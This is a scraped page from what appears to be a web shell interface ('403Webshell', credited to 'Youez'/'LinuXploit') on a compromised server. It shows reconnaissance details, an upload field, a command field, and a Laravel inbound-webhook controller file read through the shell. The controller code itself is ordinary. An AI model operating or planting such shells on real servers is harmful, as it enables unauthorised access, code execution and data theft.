403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/switchyard/current/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/switchyard/current/app/Http/Controllers/InboundWebhookController.php
<?php

namespace App\Http\Controllers;

use App\Http\Responses\ProblemResponse;
use App\Jobs\IngestLeadJob;
use App\Models\IdempotencyRecord;
use App\Models\LeadSource;
use App\Models\Scopes\WorkspaceScope;
use App\Services\WebhookSigner;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;
use Throwable;

/**
 * POST /webhooks/inbound/{workspace_id}/{source_slug}
 *
 * Per-source HMAC signature + Idempotency-Key dedup. Hands off to
 * IngestLeadJob for the parsing/enrichment pipeline. Sources expose
 * their HMAC secret one-time via Filament — that's what the caller signs
 * with.
 */
class InboundWebhookController extends Controller
{
    public function __construct(private readonly WebhookSigner $signer) {}

    public function __invoke(Request $request, string $workspaceId, string $sourceSlug): Response
    {
        $source = LeadSource::withoutGlobalScope(WorkspaceScope::class)
            ->where('workspace_id', $workspaceId)
            ->where('slug', $sourceSlug)
            ->first();

        if (! $source) {
            return new ProblemResponse(
                status: 404,
                title: 'Source not found',
                detail: "No lead source `{$sourceSlug}` configured for this workspace.",
            );
        }

        if (! $source->enabled) {
            return new ProblemResponse(
                status: 409,
                title: 'Source disabled',
                detail: "Source `{$sourceSlug}` is currently disabled.",
            );
        }

        $signatureHeader = (string) $request->header('X-Switchyard-Signature', '');
        $body = $request->getContent();
        if (! $source->inbound_secret || ! $this->signer->verify($source->inbound_secret, $body, $signatureHeader)) {
            return new ProblemResponse(
                status: 401,
                title: 'Invalid signature',
                detail: 'X-Switchyard-Signature is missing, malformed, expired, or does not match.',
            );
        }

        $idempotencyKey = (string) $request->header('Idempotency-Key', '');

        if ($idempotencyKey !== '') {
            $existing = $this->lookupIdempotency($workspaceId, $idempotencyKey);
            if ($existing !== null) {
                return response()->json($existing->response ?? ['ok' => true], 200);
            }
        }

        try {
            $payload = $request->json()->all();
        } catch (Throwable) {
            $payload = [];
        }

        IngestLeadJob::dispatch(
            workspaceId: $workspaceId,
            sourceId: $source->id,
            rawPayload: $payload,
            externalRef: $idempotencyKey ?: null,
        );

        if ($idempotencyKey !== '') {
            $this->recordIdempotency($workspaceId, $idempotencyKey);
        }

        return response()->json(['ok' => true, 'accepted' => true], 202);
    }

    private function lookupIdempotency(string $workspaceId, string $key): ?IdempotencyRecord
    {
        $record = IdempotencyRecord::withoutGlobalScope(WorkspaceScope::class)
            ->where('workspace_id', $workspaceId)
            ->where('idempotency_key', $key)
            ->first();

        if ($record === null) {
            return null;
        }

        if ($record->isExpired()) {
            $record->delete();

            return null;
        }

        return $record;
    }

    private function recordIdempotency(string $workspaceId, string $key): void
    {
        IdempotencyRecord::create([
            'workspace_id' => $workspaceId,
            'idempotency_key' => $key,
            'response' => ['ok' => true, 'accepted' => true],
            'expires_at' => now()->addHours(24),
            'created_at' => now(),
        ]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit